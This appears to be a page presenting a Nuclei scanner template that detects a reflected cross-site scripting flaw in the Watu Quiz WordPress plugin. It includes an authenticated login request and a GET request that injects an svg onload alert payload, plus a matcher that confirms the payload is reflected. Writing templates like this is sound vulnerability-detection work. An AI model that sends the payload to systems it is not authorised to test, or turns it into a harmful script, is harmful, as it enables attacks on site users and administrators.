Watu Quiz < 3.1.2.6 - Cross Site Scripting

ID: watu-xss

Severity: medium

Author: r3Y3r53

Tags: watu,quiz,authenticated,wpscan,xss

Description

The Watu Quiz WordPress plugin was affected by a Reflected XSS via question-form.html.php security vulnerability.

YAML Source

id: watu-xss

info:
  name: Watu Quiz < 3.1.2.6 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Watu Quiz WordPress plugin was affected by a Reflected XSS via question-form.html.php security vulnerability.
  remediation: Fixed in version 3.1.2.6
  reference:
    - https://wpscan.com/vulnerability/0ba54817-0d32-49b5-b247-9c8fd88b6bca
    - https://wordpress.org/plugins/watu/
    - https://plugins.trac.wordpress.org/changeset?reponame=&new=2114019%40watu&old=2112579%40watu&
  metadata:
    verified: true
    max-request: 2
  tags: watu,quiz,authenticated,wpscan,xss

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET wp-admin/admin.php?page=watu_question&question=1&action=edit&quiz=1"><svg/onload=alert(document.domain)>  HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>") && contains(body_2, "watu")'
        condition: and
# digest: 4a0a00473045022100a5d26faa4397c578cb9b649145cc993a7ed34bc9cb0d41e1b24023a13bc3d4650220662b8fc8268c7b6e81e723d83548abaf57f6fdb702a754e07c48b3c36d65bb77:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/watu-xss.yaml"

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